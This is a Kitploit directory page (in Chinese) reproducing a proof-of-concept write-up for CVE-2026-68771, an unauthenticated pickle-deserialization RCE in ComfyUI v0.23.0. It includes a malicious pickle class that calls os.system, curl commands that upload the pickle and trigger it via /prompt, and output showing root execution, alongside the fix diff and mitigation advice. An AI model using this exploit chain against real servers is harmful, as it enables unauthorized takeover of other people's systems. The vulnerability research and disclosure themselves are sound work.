Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
comfyui-CVE-2026-68771-PoC — 安全研究实验室 — 通过 ComfyUI v0.23.0 中的不安全反序列化实现未认证 RCE(CVSS 9.8)。隔离的 Docker 环境、技术分析与文档。 | Kitploit
工具/GitHubGitHub/oscar-collado/comfyui-cve-2026-68771-poc
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育AI 安全
GitHuboscar-collado/comfyui-cve-2026-68771-poc

comfyui-CVE-2026-68771-PoC

安全研究实验室 — 通过 ComfyUI v0.23.0 中的不安全反序列化实现未认证 RCE(CVSS 9.8)。隔离的 Docker 环境、技术分析与文档。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
9小时33分前尚未审核
分享

CVE-2026-68771 — ComfyUI:通过不安全反序列化实现未认证 RCE

仅供教育目的使用。仅可针对您拥有或已获得明确书面授权进行测试的系统使用。


关于 ComfyUI

ComfyUI 是一个开源的基于节点的图形界面,用于在本地运行 AI 图像和视频生成模型。它允许用户通过可视化连接节点来构建复杂的生成流水线——每个节点代表一个操作,例如加载模型、编码文本提示、采样或对图像进行后处理。其灵活性以及对多种模型(Stable Diffusion、Flux、HunyuanVideo 等)的支持,使其成为 AI 生成社区中采用最广泛的工具之一。

该应用程序在端口 8188 上暴露一个本地 HTTP API,前端通过它与后端通信,以上传资源并排队生成工作流。虽然它设计用于单用户本地使用,但常见的情况是 ComfyUI 实例暴露在内部网络上或直接暴露在互联网上——在云 GPU 环境、共享研究环境或自托管创意工作室中——通常没有任何额外的认证层,这恰好与该漏洞所针对的威胁模型相符。

在披露时,ComfyUI 在 GitHub 上拥有超过 65,000 个 star,并拥有一个活跃的自定义节点和扩展生态系统,其中许多在核心应用程序之外引入了额外的攻击面。


执行摘要

CVE-2026-68771 是 ComfyUI v0.23.0 中的一个不安全反序列化漏洞(CWE-502),允许未认证的远程攻击者在服务器上执行任意代码。该攻击链结合了两个未认证端点:POST /upload/image 用于上传恶意 pickle 文件,POST /prompt 用于通过 LoadTrainingDataset 节点触发其反序列化。

字段值
CVECVE-2026-68771
CVSS 3.19.8(严重)
向量AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-502(不可信数据的反序列化)
受影响版本ComfyUI v0.23.0(以及未修复的早期版本)
修复版本Commit 94ee49b1612824366a8631ea069b2a1fa5c73720
发布日期2026 年 7 月 31 日

实验环境

  • 平台: Docker(Kali Linux 主机)
  • 基础镜像: python:3.11-slim
  • ComfyUI 版本: v0.23.0(精确 git checkout)
  • PyTorch: 2.5.1+cpu(weights_only 默认值更改之前的版本)
  • 网络隔离: 端口仅发布在 127.0.0.1:8188,无外部网络访问
  • 进程权限: uid=0(root)

技术分析

1. API 端点缺少认证

POST /upload/image — server.py,第 450-453 行:

root@kitploit:~
@routes.post("/upload/image")
async def upload_image(request):
    post = await request.post()
    return image_upload(post)  # no session or token verification

POST /prompt — server.py,第 927-928 行:

root@kitploit:~
@routes.post("/prompt")
async def post_prompt(request):
    logging.info("got prompt")
    json_data = await request.json()
    # no session or token verification
    ...
    self.prompt_queue.put((number, prompt_id, prompt, ...))

这两个端点都没有实现任何访问控制。任何 HTTP 客户端都可以在未经认证的情况下上传文件并排队工作流。


2. 存在漏洞的调用 — LoadTrainingDataset.execute()

comfy_extras/nodes_dataset.py,第 1568 行:

root@kitploit:~
@classmethod
def execute(cls, folder_name):
    dataset_dir = os.path.join(folder_paths.get_output_directory(), folder_name)

    shard_files = sorted([
        f for f in os.listdir(dataset_dir)
        if f.startswith("shard_") and f.endswith(".pkl")
    ])

    for shard_file in shard_files:
        shard_path = os.path.join(dataset_dir, shard_file)
        with open(shard_path, "rb") as f:
            shard_data = torch.load(f)  # ← VULNERABLE: weights_only not specified

torch.load() 在未指定 weights_only=True 的情况下,使用 Python 的 pickle 协议来反序列化文件。Pickle 不是一种数据格式——它是一种 Python 对象序列化协议,会在反序列化期间执行任何对象的 __reduce__ 方法,从而实现任意代码执行。

该节点依赖 PyTorch 的历史默认值(weights_only=False),使其成为整个代码库中唯一没有显式指定该参数的 torch.load 调用。代码库的其余部分(comfy/utils.py、comfy/sd1_clip.py)已经正确传递了该参数。


3. 完整攻击流程

root@kitploit:~
Attacker (unauthenticated)

[0] CRAFT MALICIOUS PICKLE
    └─ Serialize a Python object with __reduce__ returning (os.system, ("cmd",))
    └─ PyTorch's torch.save() format wraps it in a valid .pkl container
    └─ Output: shard_0000.pkl — valid filename pattern expected by LoadTrainingDataset
        │
        ▼
[1] POST /upload/image
    └─ Upload shard_0000.pkl (pickle with malicious __reduce__)
    └─ Parameters: type=output, subfolder=cve_test
    └─ Response: 200 OK {"name":"shard_0000.pkl", ...}
    └─ File lands at: /opt/comfyui/output/cve_test/shard_0000.pkl
        │
        ▼
[2] POST /prompt
    └─ JSON workflow with LoadTrainingDataset node
    └─ folder_name: "cve_test" → points to the folder containing the uploaded .pkl
    └─ Response: 200 OK {"prompt_id": "...", "node_errors": {}}
        │
        ▼
[3] LoadTrainingDataset.execute()
    └─ Locates shard_0000.pkl in the directory
    └─ torch.load(f) → deserializes the pickle
    └─ __reduce__ executes: os.system("id > /tmp/pwned.txt")
        │
        ▼
[4] RCE as root
    └─ uid=0(root) gid=0(root) groups=0(root)

概念验证证据(实验环境)

构造恶意 Pickle

该载荷利用了 Python 的 pickle reduce 协议。当 torch.load() 反序列化该文件时,Python 通过调用 reduce 返回的可调用对象来实例化该对象,在任何应用程序逻辑运行之前执行攻击者控制的命令。

文件名必须匹配模式 shard_*.pkl——该模式在 LoadTrainingDataset.execute() 中硬编码为文件发现过滤器:

root@kitploit:~
shard_files = sorted([
    f for f in os.listdir(dataset_dir)
    if f.startswith("shard_") and f.endswith(".pkl")
])

pickle_craft.py:

root@kitploit:~
class Exploit:
    def __reduce__(self):
        return (os.system, (args.cmd,))
root@kitploit:~
python3 pickle_craft.py --cmd "id > /tmp/pwned.txt"

输出:

root@kitploit:~
[*] Crafting malicious pickle...
[*] Payload: __reduce__ → os.system('id > /tmp/pwned.txt')
[*] Filename must match pattern 'shard_*.pkl' (hardcoded filter in LoadTrainingDataset)
[+] Pickle crafted: shard_0000.pkl (57 bytes)
[+] Command embedded: 'id > /tmp/pwned.txt'
[+] Ready to upload via POST /upload/image

向量 1 — 未认证文件上传

root@kitploit:~
curl -s -X POST http://127.0.0.1:8188/upload/image \
  -F "image=@shard_0000.pkl;type=application/octet-stream" \
  -F "type=output" \
  -F "subfolder=cve_test"

响应:

root@kitploit:~
{"name": "shard_0000.pkl", "subfolder": "cve_test", "type": "output"}

HTTP 200,无 token、无 session、无特殊标头。


向量 2 — 未认证工作流执行

root@kitploit:~
curl -s -X POST http://127.0.0.1:8188/prompt \
  -H "Content-Type: application/json" \
  -d '{
    "prompt": {
      "1": {
        "class_type": "LoadTrainingDataset",
        "inputs": { "folder_name": "cve_test" }
      },
      "2": {
        "class_type": "SaveTrainingDataset",
        "inputs": {
          "latents": ["1", 0],
          "conditioning": ["1", 1],
          "folder_name": "cve_test_out",
          "shard_size": 1000
        }
      }
    }
  }'

响应:

root@kitploit:~
{"prompt_id": "1dbf8fd8-c149-41b3-a839-935cb2d408b4", "number": 1, "node_errors": {}}

结果 — RCE 已确认

root@kitploit:~
root@73df6d3d11eb:/opt/comfyui# cat /tmp/pwned.txt
uid=0(root) gid=0(root) groups=0(root)

修复 — Commit 94ee49b 差异

文件: comfy_extras/nodes_dataset.py
作者: Matt Miller
日期: 2026 年 6 月 18 日
PR: #14543

root@kitploit:~
- shard_data = torch.load(f)
+ shard_data = torch.load(f, weights_only=True)

一个参数。weights_only=True 指示 PyTorch 使用受限的反序列化器,该反序列化器只接受张量和 Python 原始类型,拒绝任何带有 __reduce__ 的任意对象。

提交信息清楚地总结了这一点:

“LoadTrainingDataset 是代码库中唯一没有 weights_only=True 的 torch.load 调用;comfy/utils.py 和 comfy/sd1_clip.py 已经传递了它。最近的 PyTorch 默认使用 weights_only=True,因此对于固定使用旧版 PyTorch 的安装来说,这是纵深防御。”

PyTorch 版本说明: 从 PyTorch 2.6 开始,weights_only 的默认值从 False 更改为 True,这即使在代码未修复的情况下也能在现代 PyTorch 安装上缓解该漏洞。该 CVE 特别影响运行 PyTorch < 2.6 的安装,这是 2026 年 7 月发布时的典型生产环境。


缓解措施和建议

立即修复

将 ComfyUI 更新到 commit 94ee49b 或更高版本。一行代码。

纵深防御

1. API 端点上的认证
ComfyUI 设计用于本地使用。如果暴露在网络上,必须使用带有基本认证的反向代理(nginx/Caddy)进行保护,或者使用带有适当会话管理的 --multi-user 标志。

2. 切勿将 ComfyUI 直接暴露在互联网上
该应用程序的设计假设是受信任的本地环境。CVSS 9.8 的评分反映了应用层完全缺乏访问控制。

3. 上传时的文件类型验证
/upload/image 端点接受任何文件扩展名,包括 .pkl。它应该根据实际图像格式的白名单验证 content-type 和扩展名。


关键要点

  • 缺少安全参数: 该漏洞不是复杂的算法缺陷——而是库调用中缺少一个参数。同一代码库内的不一致性(其他 torch.load 调用已经具有该参数)表明该节点是在没有安全审查的情况下添加的。
  • 对库默认值的隐式信任: 依赖库的默认行为是脆弱的。PyTorch 花了数年时间才更改 weights_only 默认值;在此期间,存在漏洞的代码一直存在。
  • 复合攻击面: 在典型的本地使用场景中,单独任何一个问题(缺少认证 + 不安全反序列化)都不会得到 CVSS 9.8 的评分。正是两者的结合,使得该实例暴露在网络上时漏洞变得严重。

分析在隔离环境中出于教育目的进行。记录完成后实验室已销毁。

下载工具